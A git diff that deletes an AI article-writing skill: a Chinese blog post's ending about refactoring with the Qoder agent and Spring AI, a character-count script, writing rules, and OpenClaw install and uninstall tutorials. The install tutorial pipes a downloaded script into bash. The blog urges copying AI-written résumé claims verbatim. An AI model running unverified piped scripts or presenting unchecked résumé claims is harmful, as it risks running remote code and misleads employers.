-这个过程其实蛮值得我们停下来去学习和思考的。关键的地方来了,Qoder 向我们提出了三个问题。
-
-第一个:集成 SpringAI 后,是否需要保持现有的动态配置能力,我选择 A。
-
-
-
-第二个:项目中 DeepSeek 和 Qwen 是通过 OpenAI 兼容 API 调用的,对于通义千问,你希望那种方式,我选择集成阿里巴巴官方的 SpringAI 扩展,支持 dashscope 全部能力。
-
-第三个:是否需要支持流式输出功能,SpringAI 原生支持,我选择 B,重构的时候前端一并实现。
-
-
-
-如果你在这个过程中不确定选哪个,点击左下角的【推荐选项】就可以了。
-
-完事点击【继续】,Qoder 就开始我们生成 Spec 文档了,基于 Spring AI 1.1.2 框架重构现有的 LLM 通信层,引入 ChatClient 工厂,根据节点配置在运行时创建不同的 ChatClient 实例,同时抽象公共的 prompt 处理逻辑。
-
-
-
-快速过一遍 Spec 文档,发现非常详实,和我预期的重构几乎一模一样,真的,心有灵犀啊,兄弟。
-
-
-
-好,点运行开始干活吧!
-
-
-
-重构的过程我一直在瞅着,发现 Qoder 的代码规范程度非常高,几乎遵守了每一条阿里巴巴开发规约。
-
-啧啧啧,不愧是阿里出品!
-
-
-
-这个过程中,如果你想查看任何一个正在修改的类,点击左边 AI 聊天窗口的类名就可以了。
-
-学习,从现在开始!
-
-
-
-待办窗口还可以看到目前的文件修改进度,哪些已经完成,哪些待完成,一目了然。
-
-这次一共新增了 4 个文件,修改了 5 个文件,主要改进有四处:
-
-- 三个 LLM 执行器的公共逻辑统一抽取到 AbstractLLMNodeExecutor
-- 通过 progressCallback 推送流式消息
-- 每个节点可独立配置 apiKey/apiUrl/model
-- 使用 Spring AI 的 ChatClient 接口,OpenAI/DeepSeek/Qwen 都可以通过 OpenAI 兼容接口调用
-
-
-
-眼尖的同学应该已经发现了,一开始我们要求集成 Spring AI 1.1.2,最后集成的却是 Spring AI 1.0.0-M5,原因 Qoder 也告诉我们了:spring-ai-alibaba 的兼容性问题。
-
-再次印证一点,永远不要尝试最新版本,稳定才是软件开发的第一定律。😄
-
-OK,我们启动前后端,来试一下。
-
-
-
-看一下控制台的错误,RetryUtils 这里报错了,问题不大。
-
-
-
-从日志里我们也可以确认一点,那就是 SpringAI 成功集成了,因为我看到了 spring-ai-retry-1.0.0-M5.jar 的日志。
-
-好,启动 Qoder CLI,把错误扔进去。
-
-
-
-很快,问题发现了,并不是代码的问题,而是我们的配置有问题。DeepSeek 的完整 API 端点应该是:`https://api.deepseek.com`(不包含 `/v1/chat/completions`),Spring AI 的 OpenAiApi 会自动添加 `/v1/chat/completions` 路径。
-
-也就是说,SpringAI 的配置需求和我们之前的代码版本需求是不一样的。
-
-修改配置,重新执行,一切正常。
-
-
-
-换句话说,Qoder 的 Quest 1.0 模式真的很强,重构这么多代码,竟然没有引入任何 bug,唯一的问题还是我们在配置 API 地址的时候没有兼容 SpringAI。
-
-
-
-交付质量确实无可挑剔!
-
-## 03、如何写到简历上?
-
-那,本次的开发任务,我们又该如何写到简历上呢?
-
-总要有成果,对吧?
-
-不管是日常的学习还是工作,总得有交付,Qoder 有交付,咱们也得有,不然不就白学了?
-
-当然,这个工作我们仍然交给 Qoder 的 Quest 1.0 模式来完成。提示词如下:
-
-> 好,我验证过了,修改一次性通过,恭喜你。接下来,我需要你根据本次的修改,提供一份可以写到简历上的方案。
-
-
-
-get 到的结果,可直接搬运。
-
-项目名称:PaiAgent - 企业级 AI 工作流编排平台
-
-项目描述:基于可视化流程编辑器的 AI Agent 工作流平台,支持用户通过拖拽方式编排多种大模型(DeepSeek、通义千问等)和工具节点,使用自研 DAG 引擎按拓扑顺序执行工作流,实现复杂 AI 任务的自动化编排与执行。
-
-技术栈:Java 21、Spring Boot 3.4.1、Spring AI 1.0.0
-
-核心职责:
-
-- 基于 Spring AI 框架重构 LLM 通信层,采用工厂模式+模板方法模式设计 ChatClientFactory 动态工厂和 AbstractLLMNodeExecutor 抽象基类,将 5 个 LLM 节点执行器的重复代码从 800+行精简至 75 行
-- 设计动态 ChatClient 创建机制,支持运行时根据工作流节点配置(apiKey/apiUrl/model)动态实例化不同厂商的 ChatClient,实现多租户场景下每个节点独立配置的能力
-- 抽取 PromptTemplateService 公共服务,统一处理 `{{variable}}` 模板变量替换和上下游节点参数引用映射,支持 input 静态值和 reference 动态引用两种参数类型
-- 基于 Spring AI 的 Flux 响应式流实现 LLM 流式输出,通过 SSE 实时推送生成进度到前端,配合现有 ExecutionEvent 事件机制,用户可实时查看 AI 生成过程
-
-怎么样,是不是非常扎实?
-
-AI 应用开发,这不有了?爽歪歪不?
-
-## 04、集成 SpringAI Alibaba
-
-SpringAI Alibaba 是阿里巴巴官方开源的一款构建 Agent 智能体应用的框架,能力上集成了 SpringAI,专注于多智能体系统和工作流编排设计。
-
-
-
-> 网址:https://java2ai.com/docs/overview/
-
-这个框架在 GitHub 上也开源了,目前已经有 7.9k 的 star 了。
-
-
-
-原则上,同时在一个项目中集成 SpringAI 和 SpringAI Alibaba 是会冲突的,因为两个框架都注册了同名的 Spring Bean,主要是 ChatClientAutoConfiguration 中的 chatClientBuilderConfigurer Bean 重复定义,导致 BeanDefinitionOverrideException。
-
-所以,如果想要集成 SpringAI Alibaba 的话,最好不要再集成 SpringAI。
-
-
-
-如果面试中,遇到类似的问题:那你讲讲 SpringAI 和 SpringAI alibaba 之间的区别?
-
-答:Spring AI 由 Spring 官方提供,主要解决的是怎么调用大模型 API 的问题,它把各家大模型的接口统一封装,类似于 JDBC 统一数据库接口一样。
-
-Spring AI Alibaba 是阿里在 Spring AI 基础上做的扩展,它不光能调 API,还提供了 Agent 框架、工作流编排、RAG 检索这些更高级的能力。另外它对阿里云的通义千问有原生支持,不用走 OpenAI 兼容接口。简单说,Spring AI 是"调模型",Spring AI Alibaba 是"做智能体"。
-
-好,我们重新开一个 Quest,输入提示词。
-
-
-
-让 Qoder 生成一份新的 Spec,重新开始干活(再苦再累,它也毫无怨言 😄)!
-
-
-
-等 Qoder 完工后我们重新启动后端和前端,来测试一下。
-
-
-
-一遍过,再次验证,Quest 1.0 模式下的 Qoder 工程能力实在是强,配得上 Self-Evolving Autonomous Agent!
-
-
-
-## 05、ending
-
-真心话,Quest 1.0 模式下的 Qoder,工程能力比我想象中的要强,以后重构屎山代码,或者从 0 到 1 搭建项目骨架就靠它了呀。
-
-我们这次从集成 SpringAI 到切到 SpringAI Alibaba,中间牵扯版本兼容、Bean 冲突、配置差异这种典型的工程脏活,Qoder 处理得又稳又干净,最后交付一次性通过,说真的,这种体验很容易让人上瘾。
-
-Quest 1.0 更像一个持续进化的同事,干活不抱怨,复盘不甩锅,遇到问题先自己查,再给你结论和方案,而且它还能在一个任务里跑很久很久,把你从那些细碎但必须做的事情里拎出来。
-
-就像 Qoder 官方表达的愿景:**Quest on, Hands off**!
-
-启动任务,然后放手。让 AI 自己学习、自己解决问题、自己完成交付。还没有下载安装的同学可以抓紧时间体验一波了。
-
-> 下载地址:https://qoder.com/download
diff --git a/.claude/skills/ai-article/scripts/check_body_length.py b/.claude/skills/ai-article/scripts/check_body_length.py
deleted file mode 100644
index c8db2eab95..0000000000
--- a/.claude/skills/ai-article/scripts/check_body_length.py
+++ /dev/null
@@ -1,73 +0,0 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-"""
-统计 Markdown 文件的正文长度
-排除 frontmatter、代码块、链接、图片等非正文内容
-只统计中文字符数
-"""
-
-import sys
-import re
-from pathlib import Path
-
-def count_chinese_chars(text):
- """统计中文字符数量"""
- # 移除所有空白
- text = re.sub(r'\s+', '', text)
-
- # 移除 Markdown 语法标记
- # 移除代码块 ```...```
- text = re.sub(r'```.*?```', '', text, flags=re.DOTALL | re.MULTILINE)
- # 移除行内代码 `...` 或 "..."
- text = re.sub(r'`[^`]*`', '', text)
- text = re.sub(r'"[^"]*"', '', text)
-
- # 移除图片链接
- text = re.sub(r'!\[\[](https://[^\)]+)\]\([^\)]+\)', '', text)
-
- # 移除超链接 [text](url)
- text = re.sub(r'\[([^\]]+)\]\([^\)]+\)', '', text)
-
- # 统计中文字符(排除英文、数字、标点符号)
- # 中文字符范围:\u4e00-\u9fa5
- chinese_chars = re.findall(r'[\u4e00-\u9fa5]', text)
- return len(chinese_chars)
-
-def main():
- if len(sys.argv) < 2:
- print("用法: python3 check_body_length.py <文件路径> [--min 最小字数]")
- sys.exit(1)
-
- file_path = sys.argv[1]
- min_chars = 4000
-
- # 读取文件
- try:
- with open(file_path, 'r', encoding='utf-8') as f:
- content = f.read()
- except FileNotFoundError:
- print(f"错误:文件不存在 - {file_path}")
- sys.exit(1)
- except Exception as e:
- print(f"错误:读取文件失败 - {e}")
- sys.exit(1)
-
- # 移除 frontmatter (--- 到 --- 之间)
- content = re.sub(r'^---$.*?^---$\s', '', content, flags=re.DOTALL | re.MULTILINE)
-
- # 统计字数
- count = count_chinese_chars(content)
-
- print(f"正文中文字数: {count}")
- print(f"要求最小字数: {min_chars}")
-
- if count >= min_chars:
- print("✅ 达标!")
- sys.exit(0)
- else:
- needed = min_chars - count
- print(f"❌ 未达标,还需要 {needed} 字")
- sys.exit(1)
-
-if __name__ == '__main__':
- main()
diff --git a/.codex/skills/ai-article/SKILL.md b/.codex/skills/ai-article/SKILL.md
deleted file mode 100644
index b991837109..0000000000
--- a/.codex/skills/ai-article/SKILL.md
+++ /dev/null
@@ -1,229 +0,0 @@
----
-name: ai-article
-description: 为 AI 主题文章提供选题研究、证据整理和成稿写作能力。适用于 AI Coding 工具实测、大模型产品评测、Agent 工作流、RAG/Spring AI 落地、国产模型观察等内容,产出贴近“二哥”风格的可发布 Markdown 文章。
----
-
-# AI Article
-
-## 何时使用
-
-当用户要你做下面这些事情时,使用这个 skill:
-
-- 写一篇 AI 技术文章
-- 围绕某个 AI 产品、模型、Agent 或框架做评测
-- 先搜集 AI 热点,再给出选题或成稿
-- 把已有素材整理成“二哥”风格的文章
-
-如果用户只是想要一个标题、一个提纲、几条选题,不要默认写完整长文,先交付用户真正要的粒度。
-
-## 先看什么
-
-按需读取,不要一次性把所有参考材料都塞进上下文:
-
-- `./sucai.md`
- 用户这次提供的主素材。先读它,再决定是否联网补充。
-- `./references/style-map.md`
- 先看这份索引,再决定读哪篇参考文,避免把所有示例文章都加载进来。
-- `./references/topic-patterns.md`
- 当用户只说“最近写什么 AI 题材好”时,先读它,再做热点选题输出。
-- `./references/glm4-7.md`
- 适合做模型/产品评测类语气参考。
-- `./references/quest-2.md`
- 适合做体验型、观点型写法参考。
-- `./references/OpenClaw-install.md`
- 适合教程型、实操型文章参考。
-- `./references/OpenClaw-unstall.md`
- 适合偏对话感、解释型写法参考。
-- `./scripts/check_body_length.py`
- 需要检查正文长度时直接运行,不要手算。
-
-## 默认工作方式
-
-除非用户明确指定,否则按下面的原则执行:
-
-1. 主题优先级:用户明确主题 > `sucai.md` 中已有主题 > 你根据最新信息提炼出的热点主题。
-2. 风格优先级:用户明确指定风格 > 根据题材自动匹配参考文 > 在最终回复中说明你的风格假设。
-3. 信息优先级:用户素材和一手来源优先,二手解读只能辅助,不能替代证据。
-
-## 工作流
-
-### 1. 明确交付物
-
-先判断用户要的是哪一种:
-
-- 完整文章
-- 选题清单
-- 标题 + 提纲
-- 对已有初稿润色/重写
-
-只有在用户明显要“文章”时,才进入完整写作流程。
-
-### 1.5 热点选题模式
-
-如果用户没有明确主题,而是要“最近 AI 热点”“给我几个 AI 选题”“最近有什么可写的”,不要直接写长文,先产出选题方案。
-
-执行顺序:
-
-1. 读 `./references/topic-patterns.md`,确定这次更适合哪一类题材。
-2. 联网搜索最近 7 天到 14 天内的可信来源,优先官方发布和一手讨论。
-3. 给出 3 到 5 个选题,每个选题都包含:
- - 题目方向
- - 为什么现在值得写
- - 可展开的核心角度
- - 建议参考的文章写法
-4. 只有用户确认其中一个方向后,再进入完整写作流程。
-
-热点选题输出要像“可以直接开写的备忘卡”,不是泛泛而谈的行业总结。
-
-### 2. 读取现有素材
-
-先读 `./sucai.md`。从里面提取:
-
-- 主题和核心观点
-- 可直接使用的数据、案例、截图线索
-- 用户已经表达过的偏好、结论和禁区
-
-如果 `sucai.md` 不存在有效信息,再考虑联网搜索,不要机械联网。
-
-### 3. 补充外部证据
-
-当主题涉及“最新”“发布”“本周”“近期”“实测结论”时,必须联网核验。优先使用:
-
-- 官方博客、产品文档、发布说明
-- 官方 X 账号、GitHub Release、论文主页
-- 有明确作者和时间的真实实测内容
-
-搜索时带上明确时间范围,避免引用过期内容。所有关键结论都要能回答这三个问题:
-
-- 结论来自哪里?
-- 信息是什么时候发布的?
-- 为什么这条来源可信?
-
-如果某条说法找不到可靠来源,就降级成“个人观察”或直接删掉,禁止伪造引用、跑分和用户评价。
-
-### 4. 选定写法
-
-根据题材自动选择最接近的参考文,只读必要文件:
-
-- 先读 `./references/style-map.md`,再决定加载哪篇参考文
-- 产品评测/模型观察:优先看 `glm4-7.md` 或 `quest-2.md`
-- 安装教程/落地实践:优先看 `OpenClaw-install.md`
-- 对话感解释/故事化展开:优先看 `OpenClaw-unstall.md`
-
-这里学的是节奏、语气、结构密度,不是照搬内容。不要复刻原文段落,不要复用原文案例。
-
-### 5. 先做证据清单,再写正文
-
-写正文前,先在脑中或草稿里整理一份最小证据表。至少覆盖:
-
-- 结论点
-- 来源链接
-- 发布日期
-- 可用方式(可直接引用 / 可转述 / 仅作背景)
-
-这一步是为了避免边写边编。
-
-### 6. 生成文章
-
-输出默认是 Markdown。完整文章通常包含:
-
-- YAML frontmatter
-- 标题
-- 开头
-- 3 到 5 个主体章节
-- `## ending`
-
-frontmatter 模板:
-
-```yaml
----
-title: 文章标题
-shortTitle: 短标题
-description: 文章描述
-tag:
- - Agent
-category:
- - AI
-author: 沉默王二
-date: YYYY-MM-DD
----
-```
-
-日期要用真实当前日期。需要时先运行:
-
-```bash
-date "+%Y-%m-%d"
-```
-
-正文默认要求:
-
-- 开头使用“大家好,我是二哥呀。”
-- 整体口语化,有态度,有真实体验感
-- 正文用中文标点
-- 二级标题使用 `## 01、标题` 这种格式
-- 核心章节可放截图占位符,写清楚“截图目标”和“关键词”
-- 结尾使用 `## ending`
-
-这些是默认风格,不是僵死模板。如果用户明确要求换开头、改结构或缩短文章,以用户要求为准。
-
-### 7. 长度检查
-
-只有在用户明确要“长文”或仓库要入库文章时,才强制检查长度。使用:
-
-```bash
-python3 ./.codex/skills/ai-article/scripts/check_body_length.py <文件路径>
-```
-
-经验标准:
-
-- 3000 字以下:通常偏短,优先补案例、对比、实操细节
-- 3000 到 4500 字:大多数场景可接受
-- 明显超过 4500 字:检查是否有重复论述
-
-不要为了凑字数硬灌水。
-
-### 8. 落盘
-
-如果用户要保存成仓库文章,默认写到:
-
-`docs/src/sidebar/itwanger/ai/`
-
-文件名用主题关键词,简洁、可读、可检索。
-
-## 写作准则
-
-### 要保留的“二哥感”
-
-- 像和读者聊天,不像念白皮书
-- 有观点,不假装中立
-- 讲工具、模型、工作流时尽量带真实场景
-- 复杂概念拆开说,少用空洞大词
-
-### 要避免的内容
-
-- AI 腔连接词堆砌
-- 没来源的“网友表示”“有人说”
-- 大而空的行业黑话
-- 伪造实测、伪造截图、伪造使用体验
-
-### 标题原则
-
-标题要像公众号技术作者写的,不像论文题目。优先做到:
-
-- 口语化
-- 有信息增量
-- 有一点情绪或冲突
-- 不故意做夸张标题党
-
-如果用户没给标题,可以先给 3 个备选,再选择一个最适合正文展开的版本。
-
-## 交付时要说明什么
-
-最终回复里尽量说清:
-
-- 你采用了哪类写法
-- 哪些结论来自外部来源
-- 哪些地方是基于素材的经验判断
-- 如果你做了风格假设,把假设讲出来
-
-这样用户后续改稿会更顺。
diff --git a/.codex/skills/ai-article/agents/openai.yaml b/.codex/skills/ai-article/agents/openai.yaml
deleted file mode 100644
index 36ccb2edae..0000000000
--- a/.codex/skills/ai-article/agents/openai.yaml
+++ /dev/null
@@ -1,4 +0,0 @@
-interface:
- display_name: "AI 文章写作助手"
- short_description: "按二哥风格完成 AI 选题研究、资料核验和可发布文章写作"
- default_prompt: "Use $ai-article to research this AI topic, verify current sources, and draft a publish-ready Markdown article in 二哥 style."
diff --git a/.codex/skills/ai-article/references/OpenClaw-install.md b/.codex/skills/ai-article/references/OpenClaw-install.md
deleted file mode 100644
index f1d403be31..0000000000
--- a/.codex/skills/ai-article/references/OpenClaw-install.md
+++ /dev/null
@@ -1,482 +0,0 @@
----
-title: OpenClaw 安装教程,全网最详细手把手教你接入飞书!
-shortTitle: OpenClaw 飞书接入教程
-description: 一份超详细的 OpenClaw 安装指南,从本地部署到飞书机器人接入,手把手教你打造 7×24 小时在线的 AI 助手
-tag:
- - OpenClaw
- - Agent
-category:
- - AI
-author: 沉默王二
-date: 2026-02-24
----
-
-大家好,我是二哥呀。
-
-OpenClaw 火有一个多月了吧,甚至各大服务器厂商都纷纷下海卷了一吧,主打一个 Mac mini 你不用买,买一台云服务器就好。
-
-并且多次强调,不要在你本地电脑部署,权限太大,容易把你本地的东西 `rm -rf` 了,但说实话这里面有极大的商业利益。😄
-
-安装 OpenClaw 本身没有任何难度,Mac 版本的安装包都有了。
-
-
-
-但信息差这东西永远都存在,哪怕是 AI 这么卷的情况下,仍然有不少小伙伴在本地装不起来 OpenClaw。
-
-我甚至收到好几位读者的私信,要我出个保姆级教程,说他们公司,老板年后开工突然就要求在本地装个龙虾,以便每个人能发挥出最大的生产力。
-
-
-
-OpenClaw 本质上类似 Claude Code,但 CC 在名字上吃了大亏,不了解的小伙伴以为 CC 只面对程序员群体,但其实 CC 能干的活非常多,只要权限够大,脑洞够大。
-
-OpenClaw 本质上也是一个 CC。让它爆火的原因是,它虽然工作在你本地电脑或者云服务器上,但可以通过 IM 工具,比如说飞书、钉钉进行远程管理。
-
-你在飞书群里发一条消息,它就能帮你整理文档、抓取网页、生成代码、处理 Excel,甚至还能定时提醒你该摸鱼了。
-
-
-
-不了解的小伙伴会以为部署这玩意儿特别麻烦,但其实核心步骤就那么几步。
-
-真正卡住大家前进脚步的,是环境配置和飞书权限这些细节。
-
-今天这篇,我把踩过的坑都帮你填平,跟着做就行了。真的有手就行,手摸手那种。
-
-## 01、OpenClaw 到底是个啥?
-
-先搞清楚我们要装的是什么东西。
-
-OpenClaw 是一个开源的 AI 代理平台,核心能力就一句话:用自然语言驱动工具完成任务。
-
-
-
-它不是那种只会回答问题的聊天机器人,而是真正能动手的 Agent。
-
-读写文件、执行命令、操控浏览器、处理邮件,这些它都能干。
-
-更重要的是,它支持通过飞书、钉钉、企业微信、QQ 这些 IM 工具来控制。
-
-
-
-你在飞书里说帮我整理一下今天的待办事项,它就会乖乖去执行。
-
-OpenClaw 本身不具备独立的大语言模型推理能力,需要对接大模型才能听懂指令。
-
-支持的大模型很多,阿里云百炼、智谱 GLM、OpenAI、Anthropic 都可以。
-
-## 02、前置环境准备
-
-开始之前,先把该装的装好,免得中途报错一脸懵逼。
-
-### Node.js 升级到 22 以上
-
-这是硬性要求,低于 22 版本会报错。
-
-macOS 用户可以直接用 Homebrew:
-
-```bash
-brew install node@22
-```
-
-或者 warp 直接升级“node 升级到 22 版本”。
-
-
-
-装完后验证一下:
-
-```bash
-node -v
-```
-
-显示 `v22.x.x` 就没问题。
-
-
-
-Windows 用户建议用 WSL2,在 Linux 环境里装会更顺畅。直接在 Windows 原生环境安装可能会遇到各种兼容性问题。
-
-### 准备大模型的 API Key
-
-我这里以智谱 GLM 为例,因为我是他们家的 coding plan 套餐用户(非利益关系,纯粹是 OpenClaw 烧 token 太快,只有 plan 套餐才能顶得住)。
-
-
-
-max 包真特喵的贵!
-
-有需要的小伙伴建议先买个 lite 版本的,一个月 49 块钱试试。我把我的邀请链接贴一下,你下单能省 10%费用,我也能返 10%的血条。
-
-> 链接:https://www.bigmodel.cn/glm-coding?ic=STBFQ0PXIN
-
-购买后访问智谱开放平台,登录后在 API Keys 页面创建一个 Key,复制保存好。
-
-
-
-后面要用。
-
-## 03、安装 OpenClaw
-
-环境准备好后,开始正式安装。
-
-### macOS 用户
-
-打开终端,执行一键安装脚本:
-
-```bash
-curl -fsSL https://openclaw.ai/install.sh | bash
-```
-
-
-
-这个脚本会自动检测系统环境,安装 Node.js 和所有依赖,基本不用你操心。
-
-我第一次执行似乎卡死到了这里,提示 `npm install failed`。
-
-
-
-我就直接 ctrl-c 结束重新起了一个终端窗口开始执行。
-
-这次执行成功了。
-
-
-
-然后就可以看到龙虾成功安装后的界面了。
-
-
-
-这里有一个安全提示,可以直接跳过。选择 yes 后进入启动配置向导。
-
-
-
-当然也可以后期配置。
-
-网关类型这里选择 local 本地就行。然后是 AI 模型认证,把你准备好的 API Key 填进去。
-
-
-
-我这里选择 Z.AI 就是智谱。这里选择国内的 plan 套餐。
-
-
-
-填入 API Key 后,模型保持最新的 GLM-5 就可以了。
-
-
-
-接下来进入 IM 的配置,这里选择飞书。
-
-
-
-此时会下载飞书插件。
-
-
-
-接下来会提示我们接入飞书的配置信息。
-
-
-
-好,进入飞书开发平台 `https://open.feishu.cn/document/home/index`,可以过一眼基本的流程文档。
-
-
-
-不想看的话,可以直接跳过,进入飞书开放平台。
-
-> https://open.feishu.cn/app?lang=zh-CN
-
-创建一个应用,名字就暂时教 PaiFlow 吧。
-
-
-
-然后我们需要给应用添加一些能力。
-
-
-
-我们就先添加一个机器人的能力吧。
-
-
-
-回到凭证管理这里,能看到 APP Id 和 APP secret。
-
-
-
-复制粘贴到 OpenClaw 的配置中。
-
-
-
-接下来会有一个群组访问策略的配置,其中 open 就是允许群组所有人访问,建议选择这个。
-
-
-
-我第一次选择了 allowlist,然后不知道接下来配置啥了,就重新跑了一遍,好方便给大家截图说明用。
-
-
-
-接下来是 Skills 的安装,和 ClawHub 是打通的,后续也可以安装。
-
-
-
-我这里看着选了几个,安装速度还是挺慢的,如果没有特别适合自己的 Skills,其实可以跳过的。
-
-
-
-接下来选择 Skills 的安装方式。默认 npm 就行。
-
-
-
-接下来是 API key 的绑定,我这里通通跳过。
-
-
-
-接下来是 hooks 的安装,OpenClaw 目前附带了 3 个自动发现的捆绑 hooks,其中 session-memory 用于当你发出 `/new` 时将会话上下文保存到智能体工作区;command-logger 将所有命令事件记录到 commands.log 中;boot-md 当 Gateway 网关启动时运行 BOOT.md。
-
-
-
-接下来是 Gateway 的安装,我之前安装过,为了演示,这里大家可以选择 reinstall。
-
-
-
-接着是打开 Web 窗口。可以选择 TUI 模式。
-
-
-
-到这一步,OpenClaw 就算是安装成功了。
-
-
-
-### 手动安装
-
-如果一键脚本有问题,也可以手动安装:
-
-```bash
-npm install -g @openclaw/cli
-```
-
-### 启动配置向导
-
-安装完成后,执行配置向导:
-
-```bash
-openclaw onboard
-```
-
-这个命令会引导你完成核心配置。
-
-## 04、启动 OpenClaw 服务
-
-配置完成后,启动核心服务:
-
-```bash
-openclaw gateway start
-```
-
-这个命令会启动 OpenClaw 的网关服务,默认监听 18789 端口。
-
-检查服务状态:
-
-```bash
-openclaw gateway status
-```
-
-如果显示 `running`,说明服务正常启动。
-
-
-
-### 验证安装成功
-
-浏览器访问 `http://127.0.0.1:18789/`,如果能打开 OpenClaw 的 Web 控制面板,说明本地部署成功了。
-
-
-
-在控制面板里发一条测试消息,比如“你好,介绍一下你自己”,如果能收到正常回复,就说明大模型也配置对了。
-
-
-
-## 05、创建飞书应用
-
-当然了,如果你不想在启动的时候配置飞书,也可以在 OpenClaw 安装成功后接入飞书。
-
-### 第一步:进入飞书开放平台
-
-访问飞书开放平台,用飞书账号登录。点击创建企业自建应用,填写应用名称和描述。应用类型选企业自建应用就行。
-
-### 第二步:获取凭证
-
-应用创建成功后,在凭证与基础信息页面,你能看到:
-
-- **App ID:**应用的唯一标识
-- **App Secret:**应用的密钥
-
-把这两个值复制保存好,后面配置要用(前面演示过了)。
-
-### 第三步:添加机器人能力
-
-在应用的应用功能页面,点击添加应用能力,选择机器人。开通后,这个应用就能以机器人的身份出现在飞书群里了。
-
-### 第四步:配置权限
-
-在权限管理页面,开通以下权限:
-
-- `im:message`:获取与发送单聊、群聊消息
-- `im:message:send_as_bot`:以应用身份发消息
-- `im:chat`:获取群组信息
-- `im:chat:readonly`:读取群组信息
-
-这些权限是 OpenClaw 接收和发送消息的基础。或者直接选择批量导入按钮,把 OpenClaw 官方推荐的权限全部接入进去。
-
-
-
-### 第五步:配置事件订阅
-
-在事件订阅页面,开启事件订阅。
-
-
-
-直接选择长链接,当你的 OpenClaw 启动后,这里就可以保存成功。
-
-添加事件 `im.message.receive_v1`:接收消息
-
-这样当有人在飞书群里@机器人时,飞书会把消息推送到 OpenClaw。
-
-
-
-### 第六步:发布应用
-
-配置完成后,在版本管理与发布页面,创建一个版本并提交审核。
-
-
-
-审核通过后(免审,比腾讯的 QQ 和企业微信方便),应用就可以在企业内使用了。
-
-
-
-## 06、在 OpenClaw 中配置飞书通道
-
-在飞书里打开应用,然后@它发一条消息:
-
-> 你好。
-
-
-
-首次会提示你要配对,直接把这条消息发送到 OpenClaw 聊天窗口。
-
-
-
-配对完成后,再回到飞书这里,随便发送一条信息,就完成通信了。
-
-
-
-## 07、常见问题排查
-
-接入过程中可能会遇到一些问题,这里把最常见的情况列出来。
-
-### 问题一:飞书响应很慢
-
-可以把问题直接发给 OpenClaw,其中模型的问题我们没办法解决,但飞书权限的问题可以。
-
-
-
-直接在飞书这里添加通讯录基本信息的只读权限。
-
-
-
-随后我感觉确实快了一些。
-
-
-
-### 问题二:OpenClaw 服务启动失败
-
-可能原因:
-
-- Node.js 版本低于 22
-- 端口被其他进程占用
-- API Key 配置错误
-
-解决方案:
-
-```bash
-node -v
-
-# 检查端口占用
-lsof -i:18789
-
-# 查看服务日志
-openclaw logs
-```
-
-
-
-### 问题三:模型调用失败
-
-可能原因:
-
-- API Key 无效或额度用尽
-- 网络无法访问大模型服务
-
-解决方案:
-
-- 重新检查 API Key 是否正确
-- 登录大模型平台确认额度是否充足
-- 尝试用 curl 命令直接测试 API 是否可达
-
-## 08、飞书应用场景推荐
-
-OpenClaw 接入飞书后,能干的事情就多了。
-
-给大家分享几个我觉得比较实用的场景。
-
-### 场景一:群消息同步
-
-比如说 PaiFlow 发布了,我们可以在飞书群里新增一个机器人。
-
-
-
-复制 webhook 地址,发给 OpenClaw。
-
-
-
-配置成功。
-
-
-
-然后告诉大家 PaiFlow Agent 项目发布了。
-
-
-
-可以工作。
-
-
-
-方便得很。
-
-### 场景二:面试题每日一推
-
-每天定时从题库中抽取一道面试题推送到群,附答案解析。
-
-
-
-我没有告诉 OpenClaw 从哪里获取面渣逆袭,也没告诉它什么形式,但出来的效果我很喜欢。
-
-
-
-并且文末的来源点击过去,真的就是二哥的 Java 进阶之路,非常 nice。
-
-
-
-对于准备面试的小伙伴,这个功能相当于每天帮你复习一个知识点。
-
-## 09、ending
-
-以前我们用 ChatGPT,问它一个问题,它给你一段文字。
-
-现在用 OpenClaw,你让它干一件事,它真的会去干。
-
-读写文件、执行命令、操控浏览器,这些原本需要人手动操作的事情,AI 都能代劳了。
-
-接入飞书之后,它更是变成了一个随时待命的数字员工。
-
-你在群里@它一下,它就屁颠屁颠地跑来帮你干活。
-
-这种体验,和打开一个网页版聊天框完全不一样。
-
-【**当 AI 从回答问题变成解决问题,我们离真正的效率革命就更近了一步**。】
-
-如果你也想体验这种指挥 AI 干活的感觉,跟着这篇教程走一遍就行。
-
-很多小伙伴在等,等AI更成熟,等有人教,等公司培训。但我想告诉大家的是,努力先走出去第一步,你的认知、你的生产力也许就会发生翻天覆地的变化。
-
diff --git a/.codex/skills/ai-article/references/OpenClaw-unstall.md b/.codex/skills/ai-article/references/OpenClaw-unstall.md
deleted file mode 100644
index a374ed8cdb..0000000000
--- a/.codex/skills/ai-article/references/OpenClaw-unstall.md
+++ /dev/null
@@ -1,733 +0,0 @@
-老王开门见山地问:“卸载过 OpenClaw 吗?”
-
-我和老王四目相对那一刻,我懂他想要的答案:“必须啊,老 6 了。”
-
-像 QClaw、PicoClaw、ArkClaw、澳龙各种虾的安装部署,我都驾轻就熟。
-
-
-
-当然了,如果想省掉 299 的卸载费,我还可以一条龙服务到底,不在话下。
-
-卸载命令我都能倒背如流。
-
-但说真的,王哥,OpenClaw 的出现确实解放了我的生产力。
-
-你别听风就是雨啊。工具本身没有好坏,看的是应用场景。
-
-像我,现在审核 gitcode 账号再也不用亲自去找了,直接把昵称丢到飞书,爱丢几个丢几个,我的龙虾一号 PaiGit 员工很快就能帮我搞定。
-
-
-
-“逗逗你的呀,别那么上头。”老王摸了摸他的光头,捋了捋他的胡子,“那我问你:卸载 OpenClaw 的完整流程是什么?别给我整一条命令就完事。”
-
-## content
-
-### 01、卸载龙虾的命令是什么?
-
-“王哥,你这个问题问得好。很多人以为卸载就是跑一条 `npm uninstall -g openclaw`,错。”
-
-这样卸载不干净,残留文件会藏在系统的各个角落,下次重装的时候各种报错——端口被占用、配置冲突、插件加载失败,一堆莫名其妙的问题。
-
-正确的卸载姿势分三步。
-
-#### 第一步:停止 Gateway 服务
-
-```bash
-openclaw gateway stop
-```
-
-如果 Gateway 正在跑任务,强制停止可能会丢数据。建议先检查状态:
-
-```bash
-openclaw gateway status
-```
-
-确认显示 `stopped` 再继续。
-
-
-
-
-
-#### 第二步:执行官方卸载命令
-
-```bash
-openclaw uninstall
-```
-
-这个命令会弹出一个交互界面,让你选择要删除哪些内容。用空格键全选,然后回车确认。它会帮你:
-
-- 停止并卸载 Gateway 服务
-- 删除 `~/.openclaw/` 状态目录
-- 清理工作区配置
-- 移除插件和缓存
-
-
-
-
-
-#### 第三步:移除全局 CLI 包
-
-```bash
-npm rm -g openclaw
-```
-
-如果你用的是 pnpm 或 bun,对应换成:
-
-```bash
-pnpm rm -g openclaw
-# 或
-bun rm -g openclaw
-```
-
